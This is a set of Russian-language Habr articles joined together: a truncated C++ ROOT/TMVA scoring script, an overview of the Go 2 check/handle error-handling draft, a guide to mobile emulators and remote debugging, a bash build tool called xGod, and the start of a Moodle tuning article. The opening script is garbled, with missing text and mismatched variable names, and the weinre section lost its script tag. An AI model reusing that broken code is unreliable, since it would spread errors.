//Long64_t id;
realdataTree->SetBranchAddress("Param0",&uservar[0]);
realdataTree->SetBranchAddress("Param1",&uservar[1]);
realdataTree->SetBranchAddress("Param2",&Param2);
//создаём переменную для записи id'шников и пишем в текстовый файл
Float_t SVM_response;
tree->Branch("SVM_response",&SVM_response);
outputListFileName = "Output_mva.csv";
cout << "opening file "<GetEntries();ievt++)
{
if (ievt%5000000 == 0) std::cout << "--- ... Processing event: " << ievt <GetEntry(ievt);
// в цикле можно для различных целей преобразовать входные переменные
var[0]=Param0;
var[1]=Param1;
var[2]=Param2;
//Выгружаем с отсечкой скор.балла 0.9 и выше
BDT\_response=reader->EvaluateMVA("SVM");
if (SVM\_response >= 0.9)
\*outCsv << id << ";" << SVM\_response <<"\n";
tree->Fill();
}
outCsv->close();
delete outCsv;
delete reader;
tree->Write();
target->Close();
}
``` | https://habr.com/ru/post/307154/ | null | ru | null |
# Обработка ошибок в Go 2
Буквально пару дней назад в Денвере закончилась очередная, уже 5-я по счёту, крупнейшая конференция по Go – [GopherCon](https://www.gophercon.com). На ней команда Go сделала [важное заявление](https://blog.golang.org/go2draft) – черновики предварительного дизайна новой обработки ошибок и дженериков в Go 2 [опубликованы](https://go.googlesource.com/proposal/+/master/design/go2draft.md), и все приглашаются к обсуждению.
Я постараюсь подробно пересказать суть [этих черновиков](https://go.googlesource.com/proposal/+/master/design/go2draft.md) в трёх статьях.
Как многим, наверняка, известно, в прошлом году (также на GopherCon) команда Go [объявила](https://www.youtube.com/watch?v=0Zbh_vmAKvk), что собирает отчёты ([experience reports](https://github.com/golang/go/wiki/ExperienceReports)) и предложения для решения главных проблем Go – тех моментов, которые по опросам собирали больше всего критики. В течении года все предложения и репорты изучались и рассматривались, и помогли в создании черновиков дизайна, о которых и будет идти речь.
Итак, начнём с [черновиков нового](https://go.googlesource.com/proposal/+/master/design/go2draft-error-handling-overview.md) [механизма обработки ошибок](https://go.googlesource.com/proposal/+/master/design/go2draft-error-handling.md).
Для начала, небольшое отступление:
1. Go 2 это условное название – все нововведения будут частью обычного процесса выпуска версий Go. Так что пока неизвестно, будет ли это Go 1.34 или Go2. Сценария Python 2/3 не будет железно.
2. Черновики дизайна это даже не [предложения (proposals)](https://github.com/golang/proposal#readme), с которых начинается любое изменение в библиотеке, тулинге или языке Go. Это начальная точка для обсуждения дизайна, предложенная командой Go после нескольких лет работы над данными вопросами. Всё, что описано в черновиках с большой долей вероятности будет изменено, и, при наилучших раскладах, воплотится в реальность только через несколько релизов (я даю ~2 года).
В чём проблема с обработкой ошибок в Go?
========================================
В Go изначально было принято решение использовать "явную" проверку ошибок, в противоположность популярной в других языках "неявной" проверке – исключениям. Проблема с неявной проверкой ошибок в том, как подробно описано в статье ["Чище, элегантней и не корректней"](https://blogs.msdn.microsoft.com/oldnewthing/20040422-00/?p=39683), что очень сложно визуально понять, правильно ли ведёт себя программа в случае тех или иных ошибок.
Возьмём пример гипотетического Go с исключениями:
```
func CopyFile(src, dst string) throws error {
r := os.Open(src)
defer r.Close()
w := os.Create(dst)
io.Copy(w, r)
w.Close()
}
```
Это приятный, чистый и элегантный код. Он также некорректый: если `io.Copy` или `w.Close` завершатся неудачей, данный код не удалит созданный и недозаписанный файл.
С другой стороны, код на реальном Go выглядит так:
```
func CopyFile(src, dst string) error {
r, err := os.Open(src)
if err != nil {
return err
}
defer r.Close()
w, err := os.Create(dst)
if err != nil {
return err
}
defer w.Close()
if _, err := io.Copy(w, r); err != nil {
return err
}
if err := w.Close(); err != nil {
return err
}
}
```
Этот код не так уж приятен и элегантен, и, при этом, так же некорректен – он по прежнему не удаляет файл в случае описанных выше ошибок. Справедливым будет замечание, что явная обработка подталкивает программиста, читающего код задаваться вопросом – "а что же правильно сделать при этой ошибке", но из-за того, что проверка кода занимает много места, программисты нередко учатся её пропускать, чтобы лучше рассмотреть структуру кода.
Также в этом коде проблема в том, что гораздо проще пробросить ошибку без дополнительной информации (строк и файл, где она произошла, имя открываемого файла и т.д.) наверх, чем правильно вписать детали ошибки перед передачей наверх.
Проще говоря, в Go слишком много проверки ошибок и недостаточно обработки ошибок. Более полноценная версия кода выше будет выглядеть вот так:
```
func CopyFile(src, dst string) error {
r, err := os.Open(src)
if err != nil {
return fmt.Errorf("copy %s %s: %v", src, dst, err)
}
defer r.Close()
w, err := os.Create(dst)
if err != nil {
return fmt.Errorf("copy %s %s: %v", src, dst, err)
}
if _, err := io.Copy(w, r); err != nil {
w.Close()
os.Remove(dst)
return fmt.Errorf("copy %s %s: %v", src, dst, err)
}
if err := w.Close(); err != nil {
os.Remove(dst)
return fmt.Errorf("copy %s %s: %v", src, dst, err)
}
}
```
Исправление проблем сделало код корректным, но никак не чище или элегантней.
Цели
====
Команда Go ставит перед собой следующие цели для улучшения обработки ошибок в Go 2:
* сделать проверку ошибок проще, **уменьшив количество текста** в программе, ответственного за проверку кода
* сделать обработку ошибок **легче**, соответственно повышая вероятность того, что программисты будут это делать
* и проверка и обработка ошибок должны оставаться **явными** – то есть легко видимыми при чтении кода, не повторяя проблем исключений
* существующий Go код должен продолжать работать, любые изменения должны быть **совместимыми** с существующим механизмом работы с ошибками
Черновик дизайна предлагает изменить или дополнить семантику обработки ошибок в Go.
Дизайн
======
Предложенный дизайн вводит две новых синтаксические формы.
* `check(x,y,z)` или `check err` обозначающую явную проверку ошибки
* `handle` – определяющую код, обрабатывающий ошибки
Если `check` возвращает ошибку, то контроль передаётся в ближайший блок `handle` (который передаёт контроль в следущий по лексическому контексту `handler`, если такой есть, и. затем, вызывает `return`)
Код выше будет выглядеть так:
```
func CopyFile(src, dst string) error {
handle err {
return fmt.Errorf("copy %s %s: %v", src, dst, err)
}
r := check os.Open(src)
defer r.Close()
w := check os.Create(dst)
handle err {
w.Close()
os.Remove(dst) // (только если check упадёт)
}
check io.Copy(w, r)
check w.Close()
return nil
}
```
Этот синтаксис разрешён также в функциях, которые не возвращают ошибки (например `main`). Следующая программа:
```
func main() {
hex, err := ioutil.ReadAll(os.Stdin)
if err != nil {
log.Fatal(err)
}
data, err := parseHexdump(string(hex))
if err != nil {
log.Fatal(err)
}
os.Stdout.Write(data)
}
```
может быть переписана как:
```
func main() {
handle err {
log.Fatal(err)
}
hex := check ioutil.ReadAll(os.Stdin)
data := check parseHexdump(string(hex))
os.Stdout.Write(data)
}
```
Вот ещё пример, чтобы почувствовать предложенную идею лучше. Оригинальный код:
```
func printSum(a, b string) error {
x, err := strconv.Atoi(a)
if err != nil {
return err
}
y, err := strconv.Atoi(b)
if err != nil {
return err
}
fmt.Println("result:", x + y)
return nil
}
```
может быть переписан как:
```
func printSum(a, b string) error {
handle err { return err }
x := check strconv.Atoi(a)
y := check strconv.Atoi(b)
fmt.Println("result:", x + y)
return nil
}
```
или даже вот так:
```
func printSum(a, b string) error {
handle err { return err }
fmt.Println("result:", check strconv.Atoi(x) + check strconv.Atoi(y))
return nil
}
```
Давайте рассмотрим подробнее детали предложенных конструкций `check` и `handle`.
Check
=====
`check` это (скорее всего) ключевое слово, которое чётко выражает действие "проверка" и применяется либо к переменной типа `error`, либо к функции, возвращающую ошибку последним значением. Если ошибка не равна nil, то `check` вызывает ближайший обработчик(`handler`), и вызывает `return` с результатом обработчика.
Следующий пример:
```
v1, ..., vN := check <выражение>
```
равнозначен этому коду:
```
v1, ..., vN, vErr := <выражение>
if vErr != nil {
= handlerChain(vn)
return
}
```
где `vErr` должен иметь тип `error` и означает ошибку, возвращённую из обработчика.
Аналогично,
```
foo(check <выражение>)
```
равнозначно:
```
v1, ..., vN, vErr := <выражение>
if vErr != nil {
= handlerChain(vn)
return
}
foo(v1, ..., vN)
```
### Check против try
Изначально пробовали слово `try` вместо `check` – оно более популярное/знакомое, и, например, Rust и Swift используют `try` (хотя Rust уходит в пользу постфикса `?` уже).
`try` неплохо читался с функциями:
```
data := try parseHexdump(string(hex))
```
но совершенно не читался со значениями ошибок:
```
data, err := parseHexdump(string(hex))
if err == ErrBadHex {
... special handling ...
}
try err
```
Кроме того, `try` всё таки несёт багаж cхожести с механизмом исключений и может вводить в заблуждение. Поскольку предложенный дизайн `check`/`handle` существенно отличается от исключений, выбор явного и красноречивого слова `check` кажется оптимальным.
Handle
======
`handle` описывает блок, называемый "обработчик" (handler), который будет обрабатывать ошибку, переданную в `check`. Возврат (return) из этого блока означает незамедлительный выход из функции с текущими значениями возвращаемых переменных. Возврат без переменных (то есть, просто `return`) возможен только в функциях с именованными переменными возврата (например `func foo() (bar int, err error)`).
Поскольку обработчиков может быть несколько, формально вводится понятие "цепочки обработчиков" – каждый из них это, по сути, функция, которая принимает на вход переменную типа `error` и возвращает те же самые переменные, что и функция, для которой обработчик определяется. Но семантика обработчика может быть описана вот так:
```
func handler(err error) error {...}
```
(это не то, как она на самом деле скорее всего будет реализована, но для простоты понимания можно пока её считать такой – каждый следующий обработчик получает на вход результат предыдущего).
### Порядок обработчиков
Важный момент для понимания – в каком порядке будут вызываться обработчики, если их несколько. Каждая проверка (`check`) может иметь разные обработчики, в зависимости от скопа, в котором они вызываются. Первым будет вызван обработчик, который ближе всего объявлен в текущем скопе, вторым – следующий в обратном порядке объявления. Вот пример для лучшего понимания:
```
func process(user string, files chan string) (n int, err error) {
handle err { return 0, fmt.Errorf("process: %v", err) } // handler A
for i := 0; i < 3; i++ {
handle err { err = fmt.Errorf("attempt %d: %v", i, err) } // handler B
handle err { err = moreWrapping(err) } // handler C
check do(something()) // check 1: handler chain C, B, A
}
check do(somethingElse()) // check 2: handler chain A
}
```
Проверка `check 1` вызовет обработчики C, B и A – именно в таком порядке. Проверка `check 2` вызовет только A, так как C и B были определены только для скопа for-цикла.
Конечно, в данном дизайне сохраняется изначальный подход к ошибкам как к обычным значениям. Вы всё также вольны использовать обычный `if` для проверки ошибки, а в обработчике ошибок (`handle`) можно (и нужно) делать то, что наилучшим образом подходит ситуации – например, дополнять ошибку деталями перед тем, как обработать в другом обработчике:
```
type Error struct {
Func string
User string
Path string
Err error
}
func (e *Error) Error() string
func ProcessFiles(user string, files chan string) error {
e := Error{ Func: "ProcessFile", User: user}
handle err { e.Err = err; return &e } // handler A
u := check OpenUserInfo(user) // check 1
defer u.Close()
for file := range files {
handle err { e.Path = file } // handler B
check process(check os.Open(file)) // check 2
}
...
}
```
Стоит отметить, что `handle` несколько напоминает `defer`, и можно решить, что порядок вызова будет аналогичным, но это не так. Эта разница – одна из слабых место данного дизайна, кстати. Кроме того, `handler B` будет исполнен только раз – аналогичный вызов `defer` в том же месте, привёл бы ко множественным вызовам. Go команда пыталась найти способ унифицировать `defer`/`panic` и `handle`/`check` механизмы, но не нашла разумного варианта, который бы не делал язык обратно-несовместимым.
Ещё важный момент – хотя бы один обработчик должен возвращать значения (т.е. вызывать `return`), если оригинальная функция что-то возвращает. В противном случае это будет ошибкой компиляции.
Паника (panic) в обработчиках исполняется так же, как и в теле функции.
### Обработчик по-умолчанию
Ещё одна ошибка компиляции – если код обработчика пуст (`handle err {}`). Вместо этого вводится понятие "обработчика по-умолчанию" (default handler). Если не определять никакой `handle` блок, то, по-умолчанию, будет возвращаться та же самая ошибка, которую получил `check` и остальные переменные без изменений (в именованных возвратных значениях; в неименованных будут возвращаться нулевые значения — zero values).
Пример кода с обработчиком по-умолчанию:
```
func printSum(a, b string) error {
x := check strconv.Atoi(a)
y := check strconv.Atoi(b)
fmt.Println("result:", x + y)
return nil
}
```
### Сохранение стека вызова
Для корректных стектрейсов Go трактует обработчики как код, вызывающийся из функции в своем собственном стеке. Нужен будет какой-то механизм, позволяющий игнорировать код обработчика в стектрейсе, например для табличных тестов. Скорее всего, вот использование `t.Helper()` будет достаточно, но это ещё открытый вопрос:
```
func TestFoo(t *testing.T) {
handle err {
t.Helper()
t.Fatal(err)
}
for _, tc := range testCases {
x := check Foo(tc.a)
y := check Foo(tc.b)
if x != y {
t.Errorf("Foo(%v) != Foo(%v)", tc.a, tc.b)
}
}
}
```
### Затенение (shadowing) переменных
Использование `check` может практически убрать надобность в переопределении переменных в краткой форме присваивания (`:=`), поскольку это было продиктовано именно необходимостью переиспользовать `err`. С новым механизмом `handle`/`check` затенение переменных может вообще стать неактуальным.
Открытые вопросы
================
### defer/panic
Использование похожих концепций (`defer`/`panic` и `handle`/`check`) увеличивает когнитивную нагрузку на программиста и сложность языка. Не очень очевидные различия между ними открывают двери для нового класса ошибок и неправильного использования обоих механизмов.
Поскольку `handle` всегда вызывается раньше `defer` (и, напомню, паника в коде обработчика обрабатывается так же, как и в обычном теле функции), то нет способа использовать `handle`/`check` в теле defer-а. Вот этот код не скомпилируется:
```
func Greet(w io.WriteCloser) error {
defer func() {
check w.Close()
}()
fmt.Fprintf(w, "hello, world\n")
return nil
}
```
Пока не ясно, как можно красиво решить эту ситуацию.
### Уменьшение локальности кода
Одним из главных преимуществ нынешнего механизма обработки ошибок в Go является высокая локальность – код обработчика ошибки находится очень близко к коду получения ошибки, и исполняется в том же контексте. Новый же механизм вводит контекстно-зависимый "прыжок", похожий одновременно на исключения, на `defer`, на `break` и на `goto`. И хотя данный подход сильно отличается от исключений, и больше похож на `goto`, это всё ещё одна концепция, которую программисты должны будут учить и держать в голове.
### Имена ключевых слов
Рассматривалось использование таких слов как `try`, `catch`, `?` и других, потенциально более знакомых из других языков. После экспериментирования со всеми, авторы Go считают, что `check` и `handle` лучше всего вписываются в концепцию и уменьшают вероятность неверного трактования.
Что делать с кодом, в котором имена `handle` и `catch` уже определены, пока тоже не ясно (не факт, что это будут ключевые слова (keywords) ещё).
Часто задаваемые вопросы
========================
### Когда выйдет Go2?
Неизвестно. Учитывая прошлый опыт нововведений в Go, от стадии обсуждения до первого экспериментального использования проходит 2-3 релиза, а официальное введение – ещё через релиз. Если отталкиваться от этого, то это 2-3 года при наилучших раскладах.
Плюс, не факт, что это будет Go2 – это вопрос брендинга. Скорее всего, будет обычный релиз очередной версии Go – Go 1.20 например. Никто не знает.
### Разве это не то же самое, что исключения?
Нет. В исключениях главная проблема в неявности/невидимости кода и процесса обработки ошибок. Данный дизайн лишен такого недостатка, и является, фактически, синтаксическим сахаром для обычной проверки ошибок в Go.
### Не разделит ли это Go программистов на 2 лагеря – тех, кто останется верным `if err != nil {}` проверкам, и сторонников `handle`/`check`?
Неизвестно, но расчёт на то, что `if err` будет мало смысла использовать, кроме специальных случаев – новый дизайн уменьшает количество символов для набора, и сохраняет явность проверки и обработки ошибок. Но, время покажет.
### Не является ли шагом к усложнению языка? Теперь есть два способа делать обработку и проверку ошибок, а Go ведь так этого избегает.
Является. Расчёт на то, что выгода от этого усложнения перевесит минусы самого факта усложнения.
### Это окончательный дизайн и точно ли он будет принят?
Нет, это лишь начальный дизайн, и он может быть не принят. Хотя есть причины полагать, что в какой-то момент. после активного тестирования, он таки будет принят, возможно, с сильными изменениями, исправляющие слабые места.
### Я знаю, как сделать дизайн лучше! Что мне делать?
Напишите статью с объяснением вашего видения и добавьте её в [вики-страничку Go2ErrorHandlingFeedback](https://github.com/golang/go/wiki/Go2ErrorHandlingFeedback)
Резюме
======
* Предложен новый механизм обработки ошибок в будущих версиях Go — `handle`/`check`
* Обратно-совместим с нынешним
* Проверка и обработка ошибок остаются явными
* Сокращается количество текста, особенно в кусках кода, где много повторений однотипных ошибок
* В грамматику языка добавляются два новых элемента
* Есть открытые/нерешённые вопросы (взаимодействие с `defer`/`panic`)
Ссылки
======
* [Обзор проблемы обработки ошибок](https://go.googlesource.com/proposal/+/master/design/go2draft-error-handling-overview.md)
* [Черновик дизайна нового механизма обработки ошибок](https://go.googlesource.com/proposal/+/master/design/go2draft-error-handling.md)
* [Статьи с реакциями на предложенный дизайн (вики)](https://github.com/golang/go/wiki/Go2ErrorHandlingFeedback)
* [Отчёты об использовании с описанием проблемы обработки ошибок в Go](https://github.com/golang/go/wiki/ExperienceReports#error-handling)
* [Анонс черновиков дизайна Go 2](https://blog.golang.org/go2draft)
Мысли? Комментарии?
* Image credits: [Gopher Artwork by Ashley McNamara](https://github.com/ashleymcnamara/gophers) | https://habr.com/ru/post/422049/ | null | ru | null |
# Тестирование для мобильных устройств: эмуляторы, симуляторы и удалённая отладка
В давние времена разработки мобильных сайтов и приложений отладка была сложной задачей. Да, можно было заполучить устройство и быстренько проверить работу – но что было делать, если ты обнаруживал баг?
При отсутствии инструментов отладки приходилось полагаться на разные хаки. В целом они сводились к попыткам воспроизвести баг в десктопном браузере и затем отловить его при помощи Chrome Developer Tools или где-то ещё. К примеру, можно было уменьшить размер окна браузера или поменять user agent.
Грубо говоря, эти хаки не работали. Если ты правишь баг на десктопе, ты не уверен, что он исправлен на мобильном устройстве (МУ). Поэтому приходилось постоянно метаться между устройством и десктопом.
Теперь же у нас есть набор инструментов, позволяющих получать осмысленные данные прямо с МУ. Кроме того, можно использовать десктопные инструменты для отладки прямо на МУ.
В этой статье мы разберём несколько эмуляторов и симуляторов, которые позволяют быстро и легко тестировать сайты и приложения. Затем посмотрим на инструменты для удалённой отладки, позволяющие подключаться к МУ.
#### Эмуляторы и симуляторы
Тестирование на физических устройствах – штука оправданная. Но это не значит, что не нужно тестировать на эмуляторах и симуляторах. Они позволяют расширить тестируемый набор устройств и проверять изменения на лету.
##### Симулятор iOS
Для тестирования яблочных устройств, айфонов и айпадов, есть несколько вариантов. Первый среди них – официальный Apple iOS Simulator, входящий в поставку Xcode. Позволяет тестировать разные комбинации софта и железа – но только на Mac.
Установите и запустите Xcode. Потом ПКМ и выберите «Show Package Contents». Затем пройдите “Contents” → “Applications” → “iPhone Simulator.”
Хотя найти его нелегко, использовать симулятор просто. Откройте Safari в симуляторе и тестируйте свой сайт. Можно переключаться между разными устройствами iPhone и iPad, менять версию iOS, поворачивать устройство и т.п.
Если у вас нету Mac’а, придётся заморачиваться. Можно взять [iPadian](http://download.cnet.com/iPadian/3000-2072_4-75607175.html), симулятор iPad для Windows. Кроме него существует ещё несколько вариантов, в частности [онлайновые](http://iphone5simulator.com/). Но, честно говоря, они не особенно хороши.
##### Эмулятор Android
У андроида эмулятор кросс-платформенный. К сожалению, он сложен в настройке.
Для начала, [скачайте подборку](http://developer.android.com/sdk/index.html), включающую Android Development Tools (ADT) для Eclipse и Android software development kit (SDK). Затем следуйте [инструкциям по установке](http://developer.android.com/sdk/installing/adding-packages.html), не забудьте кроме настроек по-умолчанию установить и “Intel x86 Emulator Accelerator (HAXM installer)”. Также вам понадобится установить HAXM (IntelHaxm.dmg на Маке и IntelHaxm.exe на PC).
Затем создайте Android virtual device (AVD) для тестируемого устройства. В менеджере AVD есть список готовых устройств в “Device Definitions”. Для начала выберите одно из них и нажмите “Create AVD”
Выберите любой CPU, и поставьте “No skin“ и “Use host GPU”. Теперь можно запускать виртуальное устройство и использовать браузер Android для тестирования.
Не помешает подучить [клавиатурные команды](http://developer.android.com/tools/help/emulator.html) для более удобного взаимодействия с эмулятором.
Как альтернативу, можно использовать [Manymo](https://www.manymo.com/) – эмулятор, встраиваемый в браузер. Его даже можно встроить в страницу.
Другие симуляторы и эмуляторы:
[BlackBerry](http://us.blackberry.com/sites/developers/resources/simulators.html)
[Windows Phone Emulator для Windows 8](http://msdn.microsoft.com/en-us/library/windows/apps/ff402563(v=vs.105).aspx)
[Opera Mini Emulator](https://dev.opera.com/articles/installing-opera-mini-on-your-computer/)
#### Удалённое тестирование
Эмуляторы и симуляторы полезны, но не на 100% достоверны. Всегда нужно пытаться проводить тестирование на максимальном количестве реальных устройств.
Но это не означает, что вам нужно их все покупать. Можно воспользоваться услугами сервисов удалённого тестирования, которые предлагают веб-интерфейс для тестирования на удалённых устройствах. Можно будет взаимодействовать с телефоном и видеть его экран.
Для тестирования устройств от Samsung, таких, как Galaxy S5, можно бесплатно воспользоваться услугами [Samsung Remote Test Lab](http://developer.samsung.com/remotetestlab/) – они предоставляют для тестирования большой выбор своих устройств.
Также можно пользоваться ресурсами [Keynote Mobile Testing](http://www.keynote.com/solutions/testing/mobile-testing). Они недёшевы, но количество доступных устройств поражает, и некоторыми можно пользоваться бесплатно.
Если вам нужны физические устройства, можно обратиться в [Open Device Lab](http://opendevicelab.com/), где есть список ближайших доступных лабораторий тестирования.
#### Удалённая отладка
Удалённая отладка на МУ выявляет множество трудностей. К примеру, как получить осмысленные данные от небольшого, сравнительно дохленького устройства?
Инструменты удалённой отладки предоставляют интерфейс для подключения к МУ с десктопа. Таким образом, мы работаем с данными с реальных устройств на мощном десктопном компьютере.
##### iOS
С выходом 6-й версии Apple представила инструмент для отладки МУ через Safari Web Inspector.
Для начала надо разрешить удалённую отладку на устройстве. “Settings” → “Safari” → “Advanced” и разрешить “Web Inspector”
Затем подключите устройство к компьютеру через USB. Потом откройте Safari (версии не ниже 6) и в “Preferences” → “Advanced” выберите “Show Develop menu in menu bar”.
В этом меню вы увидите ваше устройство и несколько страниц с настройками.
На каждой из страниц представлено много инструментов, DOM Inspector и подобные.
Кроме DOM Inspector, iOS’ вы можете использовать:
— временной график для просмотра сетевых запросов, раскладки и рендеринга страниц, работы JavaScript
— отладчик с возможностью установки точек останова
— консоль JavaScript
Подробно всё это описано в “[Safari Web Inspector Guide](https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Introduction/Introduction.html)”.
Как и в случае с симулятором iOS, удалённой отладкой можно заниматься только с Мака.
##### Android
В случае с Андроидом инструменты удалённой отладки позволяют работать с десктопа при помощи Chrome’s Developer Tools. Кроме того, инструменты эти опять-таки кросс-платформенные.
Сначала, на телефоне пройдите в “Settings” → “About Phone” (для Android 4.4+), или “Settings” → “About Tablet”. Затем нужно нажать на “Build Number” семь раз. Кроме шуток. После этого вы увидите сообщение насчёт разработчика.
Затем обратно в основных настройках “Developer Options” нужен пункт “USB debugging”.
В адресной строке браузера Chrome наберите about:inspect. Разрешите “Discover USB devices”, и вы увидите в меню своё МУ.
Также вы должны увидеть открытые закладки в мобильном браузере. Выберите нужную, и вам будут доступны:
DOM Inspector,
Сетевая панель с внешними ресурсами
Панель исходного кода, для отладки JavaScript
Консоль JavaScript
Подробности можно найти в тьюториале “Introduction to Chrome Developer Tools, Part One.”
Также можно заниматься удалённой отладкой в эмуляторе Андроида.
##### Weinre
Если вам приходится отлаживать устройство с iOS на Windows, или Linux, или отлаживать устройство, работающее под Windows Phone или BlackBerry – попробуйте Weinre (web inspector remote). Работает везде.
Настройка weinre сложновата, т.к. его надо устанавливать и на сервере, и на странице. Сначала вам понадобится установить Node, а затем установить модуль Weinre:
`npm install –g weinre`
Затем запустите сервер отладки (подставляем ip-адрес компьютера):
`weinre --boundHost 10.0.0.1`
Затем проходим на localhost:8080 и копируем содержимое тега `. Его нужно будет вставить на отлаживаемую страницу.
Наконец, кликните на ссылке вверху user interface for debugging clients (http://localhost:8080/client/#anonymous). Теперь, когда вы откроете страницу на устройстве, её можно будет увидеть в списке целей (targets).
После этого можно использовать инструменты для отладки.
Weinre позволяет тестировать любое устройство, но он не настолько продвинутый, как родные решения для iOS и Android. К примеру, нельзя пошагово отлаживать JavaScript.
Ещё один вариант удалённого тестирования называется Ghostlab.
#### Заключение
В этой статье мы научились устраивать тестовую лабораторию при помощи комбинации из реальных устройств, эмуляторов, симуляторов и инструментов удалённого тестирования. С их помощью вы сможете тестировать сайты и приложения на различных МУ.
Также мы познакомились с различными инструментами удалённой отладки, которые открывают доступ к отладочным данным МУ, без которых отладка сильно затруднена.
##### Что ещё почитать перед сном:
“Mobile Emulators and Simulators: The Ultimate Guide,” Maximiliano Firtman
“Introduction to Chrome Developer Tools, Part One,” Seth Ladd, HTML5 Rocks
“About Safari Web Inspector,” Safari Developer Library, Apple
“Enable Remote Debugging With Safari Web Inspector in iOS 6” Dave Ackerman, Modus Create
“Remote Debugging on Android With Chrome,” Chrome Developer Tools
“Weinre as Remote Debugger,” Mozilla Developer Network` | https://habr.com/ru/post/237499/ | null | ru | null |
# Своя система сборки на Linux
Здравствуйте! Я давно не появлялся здесь в качестве оратора, но в этот раз я решил поделится кое-чем, что сделал сам, а также узнать — нужно это, не нужно, как можно доработать и вообще услышать любые отзывы о моих деяниях.
Мотивация
=========
Проблема сборки и запуска проекта на разных машинах преследовала меня всегда. Для того, чтобы реалистично смоделировать работу разрабатываемого сайта на локальной машине нужно установить Web-сервер, Application-сервер, возможно, к ним присоединится какой-нибудь ещё промежуточный сервер, установить базу данных, настроить базу данных. Для того, чтобы установить тестовый сайт на тестовый сервер, нужно проделать такую же работу. И позже тоже самое с рабочим сервером.
Кажется, что проблема решается легко — напиши все команды в файл и просто запускай его везде. Решение относительно хорошее, но не идеальное, и вот почему. К примеру, на одном из серверов уже установлены нужные пакеты и база данных там готова. Но не до конца, к ней не применены последние миграции. Придётся открывать файл с командами и вытаскивать оттуда нужные, дабы не получить ошибку или чтобы что-то не сломать.
Но это не такая серьёзная проблема, б***о***льшую проблему я определил для себя при работе с Django. Django, как известно, при его запуске висит в памяти, и если код изменён — эти изменения никак не повлияют на сайт. Приходится постоянно перезапускать сервер. Несложно. А если изменены модели, нужно ещё и миграции создать и применить? А если настройки веб-сервера изменены, то нужно и их ещё применить и перезапустить веб-сервер? А если всё вместе, а проект я открывал месяц назад и абсолютно не помню, что я там менял и мне бы «сделать хорошо», но я не хочу утомительно вбивать все команды? А если проект огромный и я не хочу тратить время на лишние команды при запуске и сборке? И таких «А если...» может быть тьма тьмущая.
Решение пришло само — нужна автоматизация, сборщик проектов. Конечно же, на Linux. Погуглив, я нашёл уйму сборщиков проектов… Для одного языка или одной технологии. Ничего действительно универсального, чтобы прописал команды — и он их по надобности запускает — нет. Есть cmake, но его я не взял, потому что придумал решение получше)
В этот момент была создана первая схема велосипеда. Сначала я написал в файл все команды, но при малейших изменениях перезапуск всего занимал длительное время — это раздражало. Сначала смирился. Потом хотел, чтобы у скрипта были настройки, написал в первых строках переменные и описал алгоритм их изменения через аргументы запуска скрипта. Потом мне всё же захотелось не выполнять некоторые команды, если этого не требуется, и я сделал функции проверки. Потом пришла идея разграничить команды, некоторые объединить друг с другом.
Объединённые команды я назвал «target». В скрипт отправляется имя цели, а потом она выполняется. Оказалось, что некоторые цели неспособны выполнится без выполнения других целей — так появилась иерархия. Потом функции проверки команд превратились в функции проверки целей. Потом захотелось упростить работу с установкой пакетов, и была создана сущность «package».
В общем, процесс разработки я могу описывать долго — это, наверное, скучно.
Результат
=========
Итоговым рабочим вариантом получился bash скрипт в 400 строк, который я назвал xGod. Я так его назвал, потому что этот файл стал незаменим для меня при работе, как воздух.
Как работает xGod:
Запускается из консоли — *bash ./xgod build.xg run*
*build.xg* — это файл сборки, в котором прописаны все цели и дополнительные функции
*run* — это цель, которую нужно выполнить
Из чего состоит *build.xg*:
1. Из обычных строк на языке bash — они выполняются последовательно по мере считывания файла
2. Из целей
Например:
```
target syncdb: virtualenv createmysqluser
source "$projectpath/venv/bin/activate"
python3 "$projectpath/manage.py" makemigrations
python3 "$projectpath/manage.py" migrate
deactivate
```
*syncdb* — название цели; *virtualenv createmysqluser* — это цели, которые надо выполнить до выполнения цели *syncdb*, так называемые зависимости; всё остальное — это обычный bash код, которым и достигает саму цель.
3. Пакеты:
Например:
```
package gunicorn: python
all:
name: python3-gunicorn
```
*gunicorn* — название пакета (или цели, потому что для скрипта это такая же цель); *python* — зависимость; *all* — это название дистрибутива, к которому применяются вложенные настройки, *all* означает, что данные настройки применяются ко всем дистрибутивам без исключения, в данный момент реализована поддержка только debian и ubuntu, потому что с другими я не работал; *name* — это название пакета, используемое для установки.
4. Функции проверки:
Например:
```
check syncdb()
# any code
return 1 # or return 0
endcheck
```
Функция проверки позволяет проверить, нужно ли выполнять цель *syncdb* или нет. Сохраняется и выполняется она как обычная функция, возвращает **1** (если цель надо выполнять) или **0** (если цель не надо выполнять)
Также была написана система поддержки расширений. Цели *package* как раз-таки являются расширениями. Синтаксис расширений не сильно отличается от синтаксиса файлов сборки, в нём могут присутствовать:
1. Обычные команды на языке bash
2. Обязательно функция действия.
Например:
```
action
# any code with $1
endaction
```
Это функция принимает на вход имя цели и выполняет её по своим правилам. Все внутренности цели она может получить из переменной *${TARGETS[$1]}*
3. Функция проверки цели
Например:
```
check
# any code with $1
return 1 # or return 0
endcheck
```
Также получает на вход имя цели и проверяет, нужно ли её выполнять. Если нужно, то обязана вернуть **1**, а если нет, то **0**
Ещё применения
==============
Применение данного скрипта может быть более крупным, чем просто сборка и запуск проектов из нулевого состояния машины. Например, у меня есть собственный набор пакетов, который я хочу видеть каждый раз при установке системы. Каждый раз в новых дистрибутивах меняют набор стандартных пакетов, поэтому после установки я не знаю, есть ли такие пакеты в системе или нет. Конечно же, я могу узнать, но мне лень. Намного проще набить все нужные пакеты в скрипт и одной командой запустить их установку. Те, которые уже есть в системе, он пропустит, а те, которых нет — установит. Всё просто.
В следствии такого применения скрипта его главным условием было — это минимальные зависимости для запуска. Поэтому вместо Python или C++ он написан на bash — чтобы его можно было запустить из любой среды Linux без дополнительных действий. Единственный минус — bash должен быть не меньше 4 версии, так как там ассоциативные массивы не поддерживаются.
Ссылку на код оставлю [здесь](https://github.com/Ryder95/xgod). | https://habr.com/ru/post/338698/ | null | ru | null |
# Разгоняем портал ДО на основе Moodle (решение проблем узких мест)
В последнее время все острее встает вопрос об обучении онлайн, во время пандемии, так и в связи с переходом в онлайн всего и вся. На сайте Хабр есть материалы по установке базовой системы на основе moodle. В данной заметке хотелось бы поделиться некоторым опытом настройки сервера для продакшен использования (речь пойдет о настройке ПО, без кластеризации и изменения железной конфигурации), для случая когда портал работает уже с некоторой нагрузкой. Примеры приведены для разрешения проблем узких мест из-за которых портал может работать с невысокой производительностью.
#### 1. Apache mod XSEND Files
